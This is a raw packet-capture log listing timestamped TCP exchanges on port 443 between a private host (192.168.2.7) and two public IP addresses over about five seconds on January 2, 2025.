Jan 2, 2025 20:11:27.513484955 CET	56148	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:27.514103889 CET	443	56148	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:27.514193058 CET	56148	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:27.517689943 CET	56148	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:27.517704964 CET	443	56148	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:27.517951965 CET	443	56148	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:27.518018007 CET	56148	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:27.518426895 CET	56148	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:27.563333035 CET	443	56148	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:27.567051888 CET	443	56149	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:27.567178011 CET	56149	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:27.567853928 CET	443	56149	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:27.567982912 CET	56149	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:27.569835901 CET	56149	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:27.569849968 CET	443	56149	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:27.570111990 CET	443	56149	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:27.570189953 CET	56149	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:27.570579052 CET	56149	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:27.609056950 CET	443	56150	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:27.609164000 CET	56150	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:27.609731913 CET	56150	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:27.609747887 CET	443	56150	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:27.611557961 CET	56150	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:27.611573935 CET	443	56150	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:27.615328074 CET	443	56149	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:27.805655956 CET	443	56151	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:27.805802107 CET	56151	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:27.806379080 CET	56151	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:27.806385994 CET	443	56151	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:27.806567907 CET	56151	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:27.806572914 CET	443	56151	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:27.814392090 CET	56148	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:27.814474106 CET	56150	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:27.814497948 CET	56149	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:27.815100908 CET	56153	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:27.815151930 CET	443	56153	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:27.815226078 CET	56153	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:27.815929890 CET	56154	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:27.815967083 CET	443	56154	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:27.816030979 CET	56153	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:27.816049099 CET	443	56153	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:27.816128016 CET	56154	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:27.816742897 CET	56154	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:27.816757917 CET	443	56154	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:28.229613066 CET	443	56151	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:28.229676008 CET	443	56151	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:28.229783058 CET	56151	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:28.229785919 CET	443	56151	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:28.229818106 CET	56151	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:28.229845047 CET	56151	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:28.230868101 CET	56151	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:28.230889082 CET	443	56151	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:28.465904951 CET	443	56154	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:28.466062069 CET	56154	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:28.466820002 CET	56154	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:28.466831923 CET	443	56154	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:28.467009068 CET	56154	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:28.467025995 CET	443	56154	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:28.592417955 CET	443	56153	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:28.592556953 CET	56153	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:28.593125105 CET	56153	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:28.593137026 CET	443	56153	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:28.593341112 CET	56153	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:28.593349934 CET	443	56153	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:28.913681984 CET	443	56154	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:28.913746119 CET	56154	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:28.913765907 CET	443	56154	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:28.913811922 CET	56154	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:28.913938999 CET	56154	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:28.913970947 CET	443	56154	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:28.914030075 CET	56154	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:28.914908886 CET	56157	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:28.914940119 CET	56158	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:28.914947033 CET	443	56157	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:28.915004969 CET	443	56158	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:28.915023088 CET	56157	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:28.915059090 CET	56158	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:28.915304899 CET	56157	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:28.915323973 CET	443	56157	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:28.915358067 CET	56158	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:28.915381908 CET	443	56158	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:29.006499052 CET	443	56153	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:29.006584883 CET	56153	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:29.006616116 CET	443	56153	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:29.006685972 CET	56153	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:29.006755114 CET	56153	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:29.006797075 CET	443	56153	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:29.006855011 CET	56153	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:29.007355928 CET	56159	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:29.007396936 CET	443	56159	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:29.007405996 CET	56160	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:29.007414103 CET	443	56160	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:29.007453918 CET	56159	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:29.007481098 CET	56160	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:29.007704973 CET	56160	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:29.007704973 CET	56159	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:29.007719040 CET	443	56160	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:29.007730961 CET	443	56159	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:29.544935942 CET	443	56158	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:29.545149088 CET	56158	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:29.545676947 CET	56158	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:29.545686007 CET	443	56158	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:29.547466993 CET	56158	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:29.547475100 CET	443	56158	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:29.552817106 CET	443	56157	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:29.552927971 CET	56157	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:29.553611994 CET	443	56157	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:29.553675890 CET	56157	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:29.557029963 CET	56157	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:29.557044029 CET	443	56157	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:29.557334900 CET	443	56157	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:29.557398081 CET	56157	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:29.557890892 CET	56157	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:29.599339008 CET	443	56157	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:29.656840086 CET	443	56159	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:29.656925917 CET	443	56160	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:29.657108068 CET	56160	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:29.657108068 CET	56159	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:29.657624960 CET	443	56159	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:29.657656908 CET	56160	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:29.657664061 CET	443	56160	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:29.657700062 CET	56159	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:29.657860041 CET	56160	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:29.657865047 CET	443	56160	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:29.659360886 CET	56159	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:29.659368992 CET	443	56159	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:29.659617901 CET	443	56159	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:29.659686089 CET	56159	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:29.659948111 CET	56159	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:29.707335949 CET	443	56159	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:29.937197924 CET	443	56157	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:29.937396049 CET	56157	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:29.937418938 CET	443	56157	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:29.937519073 CET	56157	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:29.937572002 CET	56157	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:29.937607050 CET	443	56157	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:29.937719107 CET	56157	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:29.938222885 CET	56161	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:29.938283920 CET	443	56161	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:29.938363075 CET	56161	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:29.938608885 CET	56161	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:29.938627958 CET	443	56161	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:29.999905109 CET	443	56158	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:29.999964952 CET	443	56158	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:29.999977112 CET	56158	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:30.000005007 CET	443	56158	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:30.000017881 CET	56158	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:30.000051022 CET	56158	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:30.000718117 CET	443	56158	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:30.000771046 CET	443	56158	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:30.000772953 CET	56158	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:30.000823021 CET	56158	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:30.001166105 CET	56158	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:30.001182079 CET	443	56158	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:30.001859903 CET	56162	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:30.001899958 CET	443	56162	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:30.001983881 CET	56162	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:30.002194881 CET	56162	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:30.002208948 CET	443	56162	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:30.049376011 CET	443	56159	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:30.049587965 CET	56159	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:30.049603939 CET	443	56159	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:30.049693108 CET	56159	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:30.049727917 CET	56159	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:30.049778938 CET	443	56159	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:30.049843073 CET	56159	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:30.050468922 CET	56164	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:30.050540924 CET	443	56164	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:30.050607920 CET	56164	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:30.050951004 CET	56164	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:30.050975084 CET	443	56164	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:30.153130054 CET	443	56160	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:30.153184891 CET	443	56160	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:30.153291941 CET	56160	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:30.153301001 CET	443	56160	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:30.153342009 CET	56160	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:30.153388977 CET	56160	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:30.154436111 CET	56160	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:30.154462099 CET	443	56160	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:30.155129910 CET	56165	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:30.155194998 CET	443	56165	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:30.155303001 CET	56165	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:30.155550957 CET	56165	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:30.155564070 CET	443	56165	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:30.630543947 CET	443	56161	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:30.630696058 CET	56161	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:30.631308079 CET	443	56161	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:30.631392002 CET	56161	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:30.633640051 CET	56161	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:30.633657932 CET	443	56161	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:30.633899927 CET	443	56161	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:30.633958101 CET	56161	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:30.634386063 CET	56161	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:30.668807030 CET	443	56162	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:30.668935061 CET	56162	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:30.669645071 CET	56162	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:30.669651985 CET	443	56162	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:30.669747114 CET	56162	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:30.669753075 CET	443	56162	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:30.679338932 CET	443	56161	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:30.741255999 CET	443	56164	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:30.741416931 CET	56164	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:30.742019892 CET	443	56164	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:30.742121935 CET	56164	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:30.744082928 CET	56164	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:30.744112015 CET	443	56164	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:30.744388103 CET	443	56164	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:30.744447947 CET	56164	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:30.744894981 CET	56164	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:30.791342974 CET	443	56164	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:30.875432014 CET	443	56165	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:30.875674963 CET	56165	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:30.876270056 CET	56165	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:30.876281023 CET	443	56165	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:30.876463890 CET	56165	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:30.876468897 CET	443	56165	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:31.047698021 CET	443	56161	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:31.047771931 CET	56161	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:31.047782898 CET	443	56161	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:31.047832966 CET	56161	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:31.047975063 CET	56161	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:31.047996998 CET	443	56161	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:31.048815012 CET	56166	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:31.048867941 CET	443	56166	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:31.048995018 CET	56166	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:31.049323082 CET	56166	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:31.049335003 CET	443	56166	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:31.116226912 CET	443	56162	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:31.116287947 CET	443	56162	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:31.116292953 CET	56162	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:31.116317034 CET	443	56162	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:31.116329908 CET	56162	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:31.116422892 CET	56162	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:31.116430998 CET	443	56162	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:31.116481066 CET	56162	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:31.116489887 CET	443	56162	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:31.116499901 CET	443	56162	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:31.116534948 CET	56162	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:31.116596937 CET	56162	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:31.117352962 CET	56162	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:31.117386103 CET	443	56162	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:31.117835999 CET	56168	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:31.117870092 CET	443	56168	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:31.117944002 CET	56168	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:31.118177891 CET	56168	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:31.118184090 CET	443	56168	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:31.146451950 CET	443	56164	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:31.146513939 CET	56164	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:31.146533012 CET	443	56164	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:31.146588087 CET	56164	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:31.146713018 CET	56164	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:31.146753073 CET	443	56164	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:31.146814108 CET	56164	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:31.147402048 CET	56169	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:31.147466898 CET	443	56169	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:31.147538900 CET	56169	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:31.147818089 CET	56169	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:31.147836924 CET	443	56169	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:31.319308996 CET	443	56165	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:31.319375038 CET	443	56165	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:31.319382906 CET	56165	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:31.319411039 CET	443	56165	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:31.319427013 CET	56165	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:31.319458008 CET	56165	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:31.319463015 CET	443	56165	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:31.319503069 CET	443	56165	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:31.319508076 CET	56165	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:31.319555044 CET	56165	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:31.320327997 CET	56165	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:31.320342064 CET	443	56165	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:31.320815086 CET	56170	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:31.320848942 CET	443	56170	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:31.320910931 CET	56170	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:31.321204901 CET	56170	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:31.321218014 CET	443	56170	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:31.700822115 CET	443	56166	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:31.700906992 CET	56166	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:31.701721907 CET	443	56166	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:31.701899052 CET	56166	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:31.705785990 CET	56166	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:31.705796003 CET	443	56166	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:31.706114054 CET	443	56166	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:31.706175089 CET	56166	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:31.706584930 CET	56166	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:31.751337051 CET	443	56166	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:31.769145012 CET	443	56168	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:31.769249916 CET	56168	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:31.769819975 CET	56168	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:31.769833088 CET	443	56168	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:31.771716118 CET	56168	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:31.771722078 CET	443	56168	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:31.793817043 CET	443	56169	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:31.794044971 CET	56169	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:31.794594049 CET	443	56169	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:31.794696093 CET	56169	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:31.797313929 CET	56169	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:31.797327995 CET	443	56169	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:31.797646046 CET	443	56169	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:31.797713041 CET	56169	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:31.798233032 CET	56169	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:31.830126047 CET	56170	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:31.830147982 CET	56166	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:31.830423117 CET	56168	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:31.830847025 CET	56171	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:31.830900908 CET	443	56171	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:31.830986977 CET	56171	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:31.831401110 CET	56171	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:31.831415892 CET	443	56171	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:31.839329958 CET	443	56169	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:32.181757927 CET	443	56169	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:32.181863070 CET	56169	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:32.181895971 CET	443	56169	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:32.181941986 CET	56169	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:32.181991100 CET	56169	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:32.182034016 CET	443	56169	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:32.182092905 CET	56169	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:32.182693005 CET	56172	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:32.182737112 CET	443	56172	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:32.182795048 CET	56172	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:32.183093071 CET	56172	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:32.183106899 CET	443	56172	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:32.184617996 CET	56173	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:32.184653997 CET	443	56173	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:32.184717894 CET	56173	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:32.184950113 CET	56173	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:32.184962034 CET	443	56173	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:32.467858076 CET	443	56171	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:32.468204021 CET	56171	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:32.468645096 CET	443	56171	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:32.468740940 CET	56171	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:32.470860958 CET	56171	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:32.470886946 CET	443	56171	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:32.471142054 CET	443	56171	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:32.471204042 CET	56171	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:32.471570015 CET	56171	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:32.515345097 CET	443	56171	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:32.810893059 CET	443	56172	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:32.811182022 CET	56172	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:32.811681986 CET	443	56172	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:32.811793089 CET	56172	443	192.168.2.7	142.250.74.206
